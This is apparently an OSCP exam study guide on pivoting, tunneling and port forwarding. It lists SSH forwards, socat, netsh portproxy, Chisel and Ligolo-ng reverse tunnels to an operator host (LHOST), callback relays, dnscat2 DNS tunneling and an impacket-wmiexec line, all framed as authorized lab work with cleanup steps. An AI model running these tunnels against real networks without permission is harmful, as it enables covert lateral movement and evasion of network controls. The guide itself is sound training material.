9.7.1 Tunneling and Port Forwarding
← Stage index | Quick sheet | Master Notes | Check which other hosts your current identity can access | Strategy map | Study methods: Reach internal services
Selection rule: required application flow → reachable tunnel transport → pivot egress → client compatibility → return path.
Exit: a protocol-appropriate client reaches the intended internal endpoint through a documented route; DNS/SPN behavior and any callback route are independently verified.
9.7.1.1 Draw the route before choosing a command
APPLICATION TOOL
-> local listener / SOCKS endpoint / TUN route
-> tunnel transport endpoint
-> pivot exit
-> internal destination service
CALLBACK TARGET
-> pivot listener or routable address
-> relay/tunnel
-> final listener
Record:
TOOL_HOST -> ENTRY_SOCKET/ROUTE -> TRANSPORT -> PIVOT -> DESTINATION
application protocol | TCP/UDP | initiator | bind address | DNS point
credential/SPN name | callback route | privilege | cleanup objects
Do not use “pivot works” as a single state. Confirm these layers separately:
- the tunnel process started;
- its listener/transport connection exists;
- the pivot can reach the intended destination socket;
- the local route, forward or proxy points at the right exit;
- the application actually uses that path;
- name resolution and authentication match the application;
- a callback, if required, has its own return path.
9.7.1.2 Discover the pivot's network position
Linux:
id
ip -brief address
ip route
ip neigh
ss -lntup
cat /etc/resolv.conf
Windows:
whoami /all
ipconfig /all
route print
arp -a
netstat -ano
PowerShell selected endpoints:
Get-NetIPConfiguration
Get-NetRoute -AddressFamily IPv4 | Sort-Object DestinationPrefix,RouteMetric
Get-NetTCPConnection -State Listen
Get-DnsClientServerAddress -AddressFamily IPv4
An interface or route proves a possible network position, not destination reachability. Validate one justified socket from the pivot before building a tunnel.
nc -nvz -w 3 INTERNAL_HOST INTERNAL_PORT
curl -v --connect-timeout 5 http://INTERNAL_HOST:INTERNAL_PORT/
Test-NetConnection INTERNAL_HOST -Port INTERNAL_PORT
9.7.1.3 Choose the smallest compatible route
| Need | Baseline | Choose when | Main limitation |
|---|---|---|---|
| One TCP service through an SSH pivot | SSH local forward | Kali can initiate SSH to pivot | One destination socket per forward |
| Many TCP destinations through SSH pivot | SSH dynamic forward | Kali can initiate SSH to pivot | SOCKS/client compatibility |
| Pivot can connect outward but inbound access is blocked | SSH remote or remote-dynamic forward | Pivot has OpenSSH client and can reach Kali SSH | Kali SSH policy; OpenSSH version for remote dynamic |
| SSH hop directly to internal SSH | ProxyJump | Both pivot and destination provide SSH | SSH-only path |
| Simple Linux TCP relay | Socat | Binary already exists and listener can be exposed | Clear TCP relay; no authentication/encryption |
| Transparent selected subnets through SSH | sshuttle | Suitable SSH server with Python; local privileges | TCP/DNS-oriented, local firewall changes |
| Windows SSH-based forward | Built-in ssh.exe or Plink | Compatible client exists and outbound SSH works | Server policy and credential/host-key handling |
| Windows native fixed TCP relay | netsh interface portproxy | Elevated token; target modification acceptable | TCP only; firewall/IP Helper/stateful cleanup |
| Outbound HTTP/WebSocket-shaped tunnel | Chisel | Pivot can run matching binary and reach server | Client/server compatibility and proxy/client transport limits |
| Routed access for ordinary clients | Ligolo-ng | Agent can reach proxy and TUN/route setup is possible | Userland stack is not identical to direct raw networking |
| DNS is the only viable egress | dnscat2 | DNS path plus authoritative/direct server control | Slow/noisy, infrastructure and client required |
Prefer one explicit forward for one known service. Use SOCKS when several TCP endpoints must be explored. Use a routed pivot when many ordinary tools must operate without proxy wrappers. Do not add a multi-host route when command execution directly on the pivot is sufficient.
9.7.1.4 Relay one TCP service through a fixed forward Socat fixed TCP relay
Fixed TCP relay: select the reachable listener and destination explicitly.
On a Linux pivot, expose one internal TCP service:
socat -ddd TCP-LISTEN:LOCAL_PORT,bind=PIVOT_REACHABLE_IP,reuseaddr,fork \
TCP:INTERNAL_HOST:INTERNAL_PORT
Loopback-only relay for another local tunnel stage:
socat -ddd TCP-LISTEN:LOCAL_PORT,bind=127.0.0.1,reuseaddr,fork \
TCP:INTERNAL_HOST:INTERNAL_PORT
Verify the listener on the pivot with ss -lntp | grep LOCAL_PORT. Run nc -nvz PIVOT_REACHABLE_IP LOCAL_PORT from the intended client to test client-to-pivot reachability. These checks run on different machines:
ss -lntp | grep LOCAL_PORT
nc -nvz PIVOT_REACHABLE_IP LOCAL_PORT
forkhandles multiple connections.reuseaddreases rebinding after restart. Socat does not add authentication or encryption to this relay; bind narrowly and remove the process when finished. A listener can exist even when the pivot-to-destination connection fails.
9.7.1.5 Reach a service or network through an SSH forward OpenSSH forwarding
Choose local, remote or dynamic forwarding by the SSH endpoint and required listener direction.
Add reliability and attributable failure to transport-only sessions:
-N
-o ExitOnForwardFailure=yes
-o ServerAliveInterval=30
-o ServerAliveCountMax=3
ExitOnForwardFailure proves requested listening sockets were established. It does not prove the final destination is reachable through them.
9.7.1.5.1 Expose a remote-side service on the SSH client Local forward: listener on the SSH client
Run on Kali when Kali can SSH to the pivot:
ssh -N \
-L 127.0.0.1:LOCAL_PORT:INTERNAL_HOST:INTERNAL_PORT \
-p SSH_PORT USER@PIVOT \
-o ExitOnForwardFailure=yes \
-o ServerAliveInterval=30 -o ServerAliveCountMax=3
Use the listener as though it were the internal service:
nc -nvz 127.0.0.1 LOCAL_PORT
curl -v http://127.0.0.1:LOCAL_PORT/
The SSH server/pivot resolves and connects to
INTERNAL_HOST. Bind to127.0.0.1unless another authorized local host must use the forward;-gor a non-loopback bind expands exposure.
9.7.1.5.2 Provide SOCKS access through the SSH client Dynamic forward: SOCKS listener on the SSH client
ssh -N -D 127.0.0.1:1080 -p SSH_PORT USER@PIVOT \
-o ExitOnForwardFailure=yes \
-o ServerAliveInterval=30 -o ServerAliveCountMax=3
OpenSSH acts as a SOCKS4/5 server. The pivot makes destination connections selected by each SOCKS request.
9.7.1.5.3 Expose a client-side destination on the SSH server Remote forward: listener on the SSH server
Run on a pivot that can initiate an SSH connection back to Kali:
ssh -N \
-R 127.0.0.1:KALI_PORT:INTERNAL_HOST:INTERNAL_PORT \
-p KALI_SSH_PORT KALI_USER@LHOST \
-o ExitOnForwardFailure=yes \
-o ServerAliveInterval=30 -o ServerAliveCountMax=3
Kali then uses:
nc -nvz 127.0.0.1 KALI_PORT
The SSH client/pivot connects to
INTERNAL_HOST.AllowTcpForwardingand server policy must permit the forward. A non-loopback remote bind additionally depends onGatewayPorts; do not assume0.0.0.0was honored.
9.7.1.5.4 Provide server-side SOCKS access through the SSH client Remote dynamic forward: SOCKS listener on the SSH server
Run on the pivot:
ssh -N -R 127.0.0.1:1080 -p KALI_SSH_PORT KALI_USER@LHOST \
-o ExitOnForwardFailure=yes \
-o ServerAliveInterval=30 -o ServerAliveCountMax=3
The SOCKS listener appears on Kali and destination connections exit through the pivot. Remote dynamic forwarding requires OpenSSH 7.6 or later on the client that issues -R. Run ssh -V on the pivot (the SSH client). Run ss -lntp | grep 1080 on Kali (the SSH server hosting the SOCKS listener). These checks run on different machines; do not paste both into one terminal:
ssh -V
ss -lntp | grep 1080
9.7.1.5.5 Reach an SSH destination through a verified intermediate host SSH jump and proxy command
Direct SSH through an SSH pivot:
ssh -J PIVOT_USER@PIVOT TARGET_USER@INTERNAL_HOST
SSH through an existing SOCKS5 endpoint with Ncat:
ssh -o ProxyCommand='ncat --proxy-type socks5 --proxy 127.0.0.1:1080 %h %p' \
TARGET_USER@INTERNAL_HOST
%h and %p are replaced with the destination host and port. Prefer this native proxy route when ProxyChains interposition is unreliable.
9.7.1.5.5.1 Use an SSH configuration for repeated access
Host pivot
HostName PIVOT
User PIVOT_USER
Host internal
HostName INTERNAL_HOST
User TARGET_USER
ProxyJump pivot
ssh internal
scp FILE internal:DESTINATION_PATH
9.7.1.6 Send compatible TCP client connections through a SOCKS proxy ProxyChains and SOCKS-aware clients
Use a task-specific configuration rather than repeatedly editing a shared global file:
strict_chain
proxy_dns
tcp_read_time_out 15000
tcp_connect_time_out 8000
[ProxyList]
socks5 127.0.0.1 1080
proxychains4 -q -f ./proxychains-pivot.conf curl http://INTERNAL_HOST:PORT/
proxychains4 -q -f ./proxychains-pivot.conf nmap -sT -Pn -n -p PORTS INTERNAL_HOST
proxychains4 -q -f ./proxychains-pivot.conf impacket-smbclient \
'DOMAIN/USER:PASSWORD@INTERNAL_HOST'
Constraints:
- ProxyChains hooks socket calls in dynamically linked programs; some static binaries, scripts, child processes or dynamically loaded modules bypass or break the hook.
- ProxyChains supports TCP only. It does not proxy UDP, ICMP, SYN scans or pcap-based discovery.
- For Nmap use
-sT -Pn -nwith a focused port list. Proxy scanning is slow and is not a replacement for discovery from the pivot. proxy_dnsmoves supported hostname resolution through the proxy, but application behavior varies.-nprevents Nmap's local reverse lookups.- Prefer an application's native proxy option when available.
Native examples:
curl --socks5-hostname 127.0.0.1:1080 http://INTERNAL_HOST:PORT/
ncat --proxy-type socks5 --proxy 127.0.0.1:1080 INTERNAL_HOST INTERNAL_PORT
9.7.1.7 Route a selected subnet through an SSH-accessible pivot sshuttle transparent selected-subnet route
Transparent TCP forwarding through an authorized SSH endpoint with its runtime prerequisites.
sudo sshuttle --dns \
-r SSH_USER@PIVOT:SSH_PORT \
INTERNAL_SUBNET ANOTHER_SUBNET
Through a previously established local forward to the SSH pivot:
sudo sshuttle --dns \
-r SSH_USER@127.0.0.1:LOCAL_SSH_PORT \
INTERNAL_SUBNET
sshuttle is useful when many TCP clients need transparent access. It requires privileges and firewall/redirection support on the client; the remote side needs a compatible Python execution path. It is not a general layer-2 VPN and does not make arbitrary raw-packet or UDP behavior equivalent to direct routing. Record the selected subnets so existing VPN routes are not accidentally captured.
9.7.1.8 Forward traffic from a Windows pivot with available utilities Windows forwarding alternatives
Windows built-in forwarding; check listener, routing and administrative prerequisites.
9.7.1.8.1 Forward a selected TCP service from Windows Built-in OpenSSH client
where ssh.exe
ssh.exe -V
ssh.exe -N -R 127.0.0.1:1080 KALI_USER@LHOST -p KALI_SSH_PORT -o ExitOnForwardFailure=yes -o ServerAliveInterval=30
The same -L, -D, -R, ProxyJump and ProxyCommand concepts apply to current Windows OpenSSH. Remote dynamic forwarding depends on the client version.
9.7.1.8.2 Forward a selected TCP service from Windows Plink
Remote fixed forward from Windows to Kali:
plink.exe -ssh -N -batch -hostkey "HOST_KEY_FINGERPRINT" ^
-l KALI_USER -pwfile C:\PATH\kali-password.txt ^
-R 127.0.0.1:KALI_PORT:INTERNAL_HOST:INTERNAL_PORT ^
-P KALI_SSH_PORT LHOST
Local dynamic SOCKS on Windows:
plink.exe -ssh -N -batch -hostkey "HOST_KEY_FINGERPRINT" ^
-l SSH_USER -pwfile C:\PATH\ssh-password.txt ^
-D 127.0.0.1:1080 -P SSH_PORT PIVOT
Current Plink supports
-L,-Rand-D, but not OpenSSH's remote-dynamic shorthand.-batchprevents an unseen prompt from hanging; pair it with a verified-hostkey.-pwfileavoids a literal password in the command line but creates a sensitive file that must be protected and removed. Prefer a key or existing authenticated context where feasible.
9.7.1.8.3 Forward a selected TCP service from Windows Netsh portproxy
Elevated Windows shell:
netsh interface portproxy add v4tov4 ^
listenaddress=PIVOT_REACHABLE_IP listenport=LOCAL_PORT ^
connectaddress=INTERNAL_HOST connectport=INTERNAL_PORT
netsh interface portproxy show all
netstat -ano -p tcp | findstr ":LOCAL_PORT"
If the existing firewall policy does not already allow the listener and a change is authorized:
netsh advfirewall firewall add rule name="OSCP Pivot LOCAL_PORT" ^
dir=in action=allow protocol=TCP localport=LOCAL_PORT
Cleanup:
netsh interface portproxy delete v4tov4 ^
listenaddress=PIVOT_REACHABLE_IP listenport=LOCAL_PORT
netsh advfirewall firewall delete rule name="OSCP Pivot LOCAL_PORT"
portproxyrequires an elevated token, forwards TCP rather than UDP, modifies persistent host configuration and may depend on the IP Helper service. A stored rule or listening socket still does not prove the destination is reachable. Record and remove both the proxy and any firewall rule.
9.7.1.9 Reach internal services through an HTTP-based Chisel tunnel Chisel HTTP/WebSocket tunnel
Choose the forwarding direction matching the reachable server and desired listener.
9.7.1.9.1 Reach pivot-side services through an outward-initiated SOCKS tunnel Reverse SOCKS: pivot initiates outward
On Kali:
chisel server --reverse --port CHISEL_PORT
Record the server fingerprint. On the pivot:
chisel client --fingerprint 'SERVER_FINGERPRINT' \
LHOST:CHISEL_PORT R:127.0.0.1:1080:socks
R:socks is the shorter equivalent using the default server-side 127.0.0.1:1080 listener. Traffic sent to Kali's SOCKS listener exits through the Chisel client/pivot.
9.7.1.9.2 Expose one pivot-side service through a reverse tunnel Reverse fixed TCP forward
9.7.1.9.2.1 Kali
# Kali
chisel server --reverse --port CHISEL_PORT
9.7.1.9.2.2 Pivot: expose an internal service on Kali loopback
# Pivot: expose an internal service on Kali loopback
chisel client --fingerprint 'SERVER_FINGERPRINT' LHOST:CHISEL_PORT \
R:127.0.0.1:LOCAL_PORT:INTERNAL_HOST:INTERNAL_PORT
9.7.1.9.3 Forward SOCKS when the client is on the tool side
9.7.1.9.3.1 Pivot/server side
# Pivot/server side
chisel server --socks5 --port CHISEL_PORT
9.7.1.9.3.2 Kali/client side
# Kali/client side
chisel client --fingerprint 'SERVER_FINGERPRINT' PIVOT:CHISEL_PORT \
127.0.0.1:1080:socks
9.7.1.9.4 Forward UDP only with compatible tunnel peers Current UDP-aware mode
Current upstream Chisel distinguishes:
socks / R:socks -> SOCKS5 TCP CONNECT only
udpsocks / R:udpsocks -> TCP CONNECT plus SOCKS5 UDP ASSOCIATE
# Requires compatible current peers
chisel client --fingerprint 'SERVER_FINGERPRINT' \
LHOST:CHISEL_PORT R:127.0.0.1:1080:udpsocks
This does not make ProxyChains UDP-capable—ProxyChains remains TCP-only. The UDP application must support SOCKS5 UDP ASSOCIATE, or another compatible adapter must be used. Current Chisel peers, TCP and UDP firewall access to the SOCKS listener, and its documented association/fragmentation limits all matter.
9.7.1.9.5 Chisel failure cues
chisel --version
chisel server --help
chisel client --help
ss -lntp
| Cue | Interpretation |
|---|---|
| No connection at server | Pivot egress, address, listener or WebSocket/proxy path |
| HTTP reaches server but upgrade fails | Intermediary may block WebSocket upgrade |
exec format error | Wrong OS/architecture |
| Missing GLIBC/version symbol | Build/runtime incompatibility; choose a compatible official build |
| Fingerprint mismatch | Wrong server or changed key; do not bypass verification blindly |
| SOCKS listener exists but endpoint fails | Pivot-to-destination or application/proxy compatibility |
| TCP works but UDP fails | Ordinary socks, old peer, UDP bind/firewall or unsupported client |
9.7.1.10 Route an internal subnet through a Ligolo-ng agent Ligolo-ng routed pivot
Use an established agent/proxy route when routed subnet access is needed.
9.7.1.10.1 Establish the Ligolo proxy-agent connection Proxy and agent
On Kali:
./proxy -selfcert -laddr 0.0.0.0:LIGOLO_PORT
In the proxy console, obtain the fingerprint:
certificate_fingerprint
On the pivot:
./agent -connect LHOST:LIGOLO_PORT -accept-fingerprint CERT_FINGERPRINT
-ignore-cert is a controlled-lab/debug fallback, not the baseline.
9.7.1.10.2 Create the interface and selected route needed by the pivot Current managed interface and route
In the Ligolo console:
interface_create --name ligolo
session
ifconfig
interface_add_route --name ligolo --route INTERNAL_SUBNET
tunnel_start --tun ligolo
Manual Linux alternative:
sudo ip tuntap add user "$USER" mode tun ligolo
sudo ip link set ligolo up
sudo ip route add INTERNAL_SUBNET dev ligolo
Then use normal clients:
ip route get INTERNAL_HOST
nmap -sT -Pn -n -p PORTS INTERNAL_HOST
curl -v http://INTERNAL_HOST:PORT/
Ligolo translates connections through a userland network stack. Ordinary TCP clients generally work without ProxyChains, but raw-packet assumptions, ICMP details and some UDP behavior can differ from direct access. Use connect-based validation first.
9.7.1.10.3 Reach a service bound to the pivot host's loopback interface Pivot loopback services
Ligolo maps its special 240.0.0.0/4 range to the selected agent's loopback. Add one narrow route:
sudo ip route add 240.0.0.1/32 dev ligolo
nmap -sT -Pn -n -p PORTS 240.0.0.1
Use this only when the desired service is bound to 127.0.0.1 on the agent.
9.7.1.10.4 Callback or file-server listener on the agent
In the selected Ligolo session:
listener_add --addr 0.0.0.0:PIVOT_PORT --to 127.0.0.1:KALI_PORT --tcp
listener_list
Kali listener:
ncat -lvn 127.0.0.1 KALI_PORT
An internal target connects to PIVOT_REACHABLE_IP:PIVOT_PORT; Ligolo relays it to Kali's loopback listener. Cleanup:
listener_stop LISTENER_ID
9.7.1.11 Preserve name resolution and Kerberos prerequisites through the pivot DNS and Kerberos across pivots
- Decide whether the application resolves the name locally, ProxyChains intercepts it, the SOCKS exit resolves it, or the pivot's configured resolver handles it.
- Use numeric addresses for route validation; then restore the confirmed hostname when the application protocol requires it.
- Kerberos needs an SPN-compatible hostname, realm/KDC route and correct time. A working IP connection does not prove Kerberos naming works.
- A temporary host mapping is acceptable only for a confirmed in-scope address/name pair and must be recorded.
getent hosts INTERNAL_FQDN
curl --socks5-hostname 127.0.0.1:1080 http://INTERNAL_FQDN:PORT/
klist
KRB5_TRACE=/dev/stderr kvno cifs/TARGET_HOST
The first command checks Kali's normal resolver. The curl form deliberately delegates the destination hostname through SOCKS. Do not assume a generic resolver utility will be intercepted by ProxyChains: NSS implementation and process behavior vary.
For Impacket, preserve the target hostname while routing to an IP when the tool supports it:
impacket-wmiexec -k -no-pass -dc-ip DC_IP -target-ip TARGET_IP \
'DOMAIN/USER@TARGET_HOST'
9.7.1.12 Verify payload delivery and callback paths separately Callback and delivery routing
A forward path and callback path are different graphs:
Kali -> tunnel -> internal service # access path
internal target -> pivot -> Kali listener # callback path
Options:
- make the callback directly to an address the internal host already reaches;
- expose a listener on the pivot and relay it to Kali;
- use a Ligolo agent listener or SSH/Chisel remote forward;
- choose a non-callback technique such as authenticated remote execution.
Fixed SSH callback relay, run from the pivot:
ssh -N -g -L 0.0.0.0:PIVOT_PORT:127.0.0.1:KALI_PORT \
KALI_USER@LHOST -o ExitOnForwardFailure=yes
This creates the listener on the SSH client/pivot and makes the destination connection from Kali's SSH server to Kali loopback. -g permits other hosts to use the pivot-side local forward. Verify the actual bind with ss; do not infer it from command syntax.
Also route payload delivery separately. An internal host may reach the pivot but not Kali's HTTP server; relay the delivery service or serve from the pivot when justified.
9.7.1.13 Compose multiple pivots and verify every connection leg Multi-hop routes
For every additional hop, write another complete segment:
Kali -> tunnel A -> PIVOT_A -> tunnel B -> PIVOT_B -> INTERNAL_HOST:PORT
Rules:
- validate one hop before adding the next;
- avoid overlapping local/VPN/internal routes;
- use unique listener and SOCKS ports;
- record which session owns each route;
- ensure the deeper agent/client can reach the upstream listener;
- re-evaluate DNS and callback direction at every hop;
- prefer a routed method for several deep services instead of stacking many opaque wrappers.
An upstream tunnel failure invalidates every deeper observation. Do not troubleshoot target credentials until the complete path is restored.
9.7.1.14 Reach a controlled endpoint through a permitted DNS tunnel DNS tunneling with dnscat2
Use only when ordinary transports are unavailable and DNS is demonstrably permitted. This is a conditional advanced route, but it remains in the current official BOK.
Prerequisites:
- command execution sufficient to run a compatible client;
- either authoritative control/NS delegation for
TUNNEL_DOMAINor direct UDP/53 reachability to the server; - a resolver chain that forwards the chosen domain externally;
- permission to bind/listen on the required DNS port;
- tolerance for low throughput and conspicuous DNS patterns.
Authoritative-domain mode:
dnscat2-server --secret=SHARED_SECRET TUNNEL_DOMAIN
Client:
./dnscat --secret=SHARED_SECRET TUNNEL_DOMAIN
Direct DNS-server mode shown by the server's own usage output:
./dnscat --dns server=DNS_SERVER,port=53 --secret=SHARED_SECRET
Server console:
windows
window -i SESSION_ID
help
A DNS query reaching the server proves only the resolver path. Match the pre-shared secret or independently verify the negotiated authentication string. Cache, recursion, EDNS, TCP fallback, DNS security controls and response-size limits can affect the channel. DNS tunneling is not DNS spoofing; spoofing remains prohibited by the current exam guide.
9.7.1.15 Choose the next check from the failure you observed Failure router
| Evidence | Failing layer | Next decision |
|---|---|---|
| Pivot cannot reach destination | Internal route/firewall/service | Fix or choose another pivot before tunneling |
| Tunnel client cannot reach server | Transport/egress/listener | Test the exact server address/port from pivot |
| SSH says forwarding disabled | Server policy | Use an authorized alternative; do not keep changing client flags |
| Local/remote port does not bind | Address in use, privilege or bind policy | Inspect listeners and ExitOnForwardFailure output |
| Listener exists; simple TCP test fails | Pivot-to-destination or wrong destination | Test from pivot and inspect tunnel logs |
| Simple TCP works; application fails | Client/protocol/authentication | Check native proxy support, hostname/SPN and application prerequisites |
| ProxyChains shows no hook/connection | Static/incompatible client or config | Use native proxy option, explicit forward or routed pivot |
| Nmap through SOCKS finds nothing | Wrong scan type/discovery/DNS/latency | Use focused -sT -Pn -n; verify with Ncat/curl |
| Kerberos works by IP only for TCP, auth fails | DNS/SPN/KDC/time | Separate route address from service hostname |
| Forward access works; callback absent | Reverse path/listener bind | Draw target-to-listener route independently |
| Chisel starts but server sees nothing | Egress/URL/WebSocket/binary execution | Capture stderr and inspect transport |
| Ligolo session exists; route misses tunnel | OS route/interface/session | Check route selection and selected agent/tunnel |
| TCP works, UDP fails | Tool/client transport limitation | Identify a genuine UDP-capable path; do not assume SOCKS/ProxyChains |
| DNS queries never reach authority | Delegation/resolver/egress | Prove the DNS path before debugging dnscat2 crypto |
| Deep route suddenly fails everywhere | Upstream tunnel/session | Repair from the first hop outward |
9.7.1.16 Verify the outcome, preserve evidence and remove your changes Verification and cleanup
Kali/Linux:
ss -lntup
ip -brief address
ip route
ps -ef | grep -E '[s]sh .*-[LDR]|[c]hisel|[l]igolo|[s]ocat|[s]shuttle'
Windows:
netstat -ano
tasklist
netsh interface portproxy show all
netsh advfirewall firewall show rule name="OSCP Pivot LOCAL_PORT"
Record:
- exact process/command and version;
- bind address and port;
- transport direction and initiator;
- pivot and destination;
- routes/name mappings/configuration files added;
- simple TCP proof and final application proof;
- callback proof where applicable;
- cleanup command and result.
Stop tunnel processes and remove TUN routes, Ligolo listeners, temporary mappings, password files, Netsh rules and firewall exceptions after the authorized task.
9.7.1.17 Tooling for this section
| Tool | Purpose | Required context | Baseline | Decisive output | Failure cue |
|---|---|---|---|---|---|
ip/route/ss/netstat | Discover and verify each hop | Shell on relevant host | Sections 2 and 16 | Correct route and listener | Listener exists on wrong interface |
| Ncat/curl/Test-NetConnection | Prove one socket | Route from test source | Sections 2 and 16 | TCP handshake/application response | Complex tool fails before baseline proof |
| Socat | Simple fixed TCP relay | Binary and bind permission | Section 4 | Listener plus remote connection | Clear relay exposed too broadly |
| OpenSSH | Fixed, dynamic, remote and jump routes | SSH authentication/policy | Section 5 | Requested listener and successful client flow | Forwarding or bind denied |
| ProxyChains | Wrap compatible TCP clients | SOCKS endpoint + dynamic linking | Section 6 | Connection log through proxy | UDP/raw/static client unsupported |
| sshuttle | Transparent selected-subnet TCP/DNS route | SSH, client privileges, remote Python | Section 7 | Ordinary client reaches selected subnet | Route collision/firewall backend issue |
Windows ssh.exe/Plink | SSH forwards from Windows | Client present and server reachable | Section 8 | Kali/Windows listener established | Hidden host-key/password prompt |
| Netsh portproxy | Native Windows fixed TCP relay | Elevated token | Section 8 | Stored rule + listener + remote flow | Firewall/IP Helper/destination failure |
| Chisel | HTTP/WebSocket reverse SOCKS/forwards | Compatible binary and egress | Section 9 | Session + SOCKS/forward listener | WebSocket, fingerprint or runtime error |
| Ligolo-ng | Routed access and agent listeners | Agent/proxy + TUN route | Section 10 | OS route and ordinary client flow | Wrong session/interface/route |
| dnscat2 | Conditional DNS channel | Resolver/authority or direct DNS path | Section 14 | Authenticated encrypted session | DNS never reaches server |
Package names and command behavior vary. Check local --help/versions before use. Do not install tooling or alter host/network configuration without scope and authorization.
9.7.1.18 Exam restriction
The current OSCP+ exam guide explicitly states that Metasploit cannot be used for pivoting because that would involve more than one target. The current guide does not individually approve every other tool; the learner remains responsible for restrictions and must recheck the guide before a mock or exam.
9.7.1.19 Sources
- Supplied PEN-200, Chapter 19 pp. 583–629 and Chapter 20 pp. 630–652.
- OffSec OSCP+ Body of Knowledge and current exam guide
- OpenSSH client manual
- Socat documentation
- ProxyChains-NG
- sshuttle
- PuTTY/Plink manual
- Microsoft Netsh interface/portproxy
- Reach internal services through an HTTP-based Chisel tunnel
- Ligolo-ng quickstart, listeners and agent loopback access
- dnscat2
- getSH tunneling route, source snapshot
e1f62dd - Hexdump OSCP repository and Port Forwarding and Pivoting video index. The upstream module provides the four SSH-forwarding categories; current syntax and tool behavior above were checked independently.